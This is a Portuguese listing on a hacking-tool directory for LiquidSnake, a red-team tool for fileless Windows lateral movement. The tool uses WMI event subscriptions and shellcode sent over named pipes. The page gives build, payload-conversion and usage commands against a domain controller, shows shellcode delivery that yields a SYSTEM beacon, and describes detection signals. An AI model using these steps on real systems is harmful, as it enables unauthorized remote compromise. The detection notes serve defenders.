Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
LiquidSnake — Ferramenta de movimento lateral sem arquivos usando WMI Event Subscriptions para executar assemblies .NET na memória, com injeção de shellcode via named pipes para comprometimento remoto do Windows. | Kitploit
Ferramentas/GitHubGitHub/riccardoancarani/liquidsnake
Geração de PayloadsMovimento LateralShellcodeRed Teaming
GitHubriccardoancarani/liquidsnake

LiquidSnake

Ferramenta de movimento lateral sem arquivos usando WMI Event Subscriptions para executar assemblies .NET na memória, com injeção de shellcode via named pipes para comprometimento remoto do Windows.

Ver Repositório
34749há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Liquid Snake

Liquid Snake é um programa que visa realizar movimentação lateral contra sistemas Windows sem tocar no disco. A ferramenta depende da Subscrição de Eventos WMI para executar um assembly .NET na memória; o assembly .NET irá escutar por um shellcode em um named pipe e então executá-lo usando uma variação da injeção de shellcode por sequestro de thread.

O diagrama abaixo (esperamos) esclarece o fluxo de dados:

Créditos

  • MDSec - WMI Event Subscription - esta ferramenta é meramente uma implementação do conceito descrito neste post do blog, o código também depende do PoC de persistência WMI em C Sharp do Dominic
  • pwndizzle - thread-hijack.cs - para inspiração na implementação de sequestro de thread em C Sharp
  • med0x2e - GadgetToJscript - pelo trabalho monumental de criar o GadgetToJScript

Introdução

O projeto é composto por duas soluções separadas:

  • CSharpNamedPipeLoader - o componente que será transformado em VBS via GadgetToJScript
  • LiquidSnake - o componente responsável por criar a Subscrição de Eventos WMI no sistema remoto

Compilando

Simplesmente abra ambas as soluções no Visual Studio e compile-as. Certifique-se de direcionar a arquitetura x64 para o CSharpNamedPipeLoader. Se tudo correr bem, você deverá ter dois EXEs separados: CSharpNamedPipeLoader.exe e LiquidSnake.exe

Usando o GadgetToJscript, converta o CSharpNamedPipeLoader.exe para VBS usando o seguinte comando:

root@kitploit:~
GadgetToJScript.exe -a CSharpNamedPipeLoader.exe -b -w vbs

Teste a desserialização .NET usando cscript.exe e certifique-se de que tudo funciona como esperado:

root@kitploit:~
cscript.exe test.vbs

Em seguida, codifique o arquivo vbs em base64 e coloque-o na variável vbscript64 do Program.cs do LiquidSnake na linha 29.

Já fiz isso para você, então você pode simplesmente compilar a solução LiquidSnake e usá-la como está.

Uso

O uso deste projeto é direto, use LiquidSnake.exe contra um host sobre o qual você tenha acesso administrativo da seguinte forma:

root@kitploit:~
LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local

NOTA: Atualmente há um bug quando você define explicitamente credenciais de usuário; a ferramenta não funcionará nesse caso. É recomendado usar make_token ou qualquer outro mecanismo de impersonação.

Se tudo correr bem, você deverá obter uma saída similar à seguinte:

root@kitploit:~
[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day

O exemplo acima usa o execute-assembly do CobaltStrike para iniciar o LiquidSnake:

Enquanto isso, no host remoto um novo named pipe será criado com o seguinte nome:

root@kitploit:~
\\.\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7

Então, usando meu send_shellcode_via_pipe projeto dos meus BOFs você pode enviar um shellcode arbitrário no pipe remoto que será carregado e executado:

root@kitploit:~
send_shellcode_via_pipe \\dc01\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7 beacon.bin 

Se tudo funcionou como esperado, você deverá obter um beacon SYSTEM:

NOTA: A versão atual do LiquidSnake contém artefato gerado pelo GadgetToJScript que tem como alvo a versão 4.x do .NET. Se seu host alvo tiver apenas a versão 3.5 instalada, isso falhará. Simplesmente repita o mesmo processo, mas usando a versão apropriada do .NET ao compilar o GadgetToJScript.

Detecção

Existem muitas oportunidades de detecção para identificar o abuso desta ferramenta e, em geral, o uso desta técnica:

  • Criação e exclusão de um Filtro de Eventos WMI em um curto período de tempo, veja os IDs de evento do Sysmon 19, 20, 21, 22
  • Eventos de carregamento de módulo para clr.dll relacionados ao processo scrcons.exe
  • Criação de um named pipe relacionado ao processo scrcons.exe

Além disso, a maior desvantagem da implementação específica é que o shellcode é enviado em texto claro via SMB. Isso significa que se uma solução de monitoramento de rede for capaz de inspecionar esse tráfego, é provável que ele se destaque. Não testei muito contra o conjunto de regras do zeek/bro, mas estou bastante confiante de que será detectado imediatamente.

Na pasta detection-artefacts deixei o arquivo PCAP de uma captura do Wireshark e os eventos Sysmon gerados durante o ataque (usando a configuração padrão do Swift On Security).

Baixar ferramenta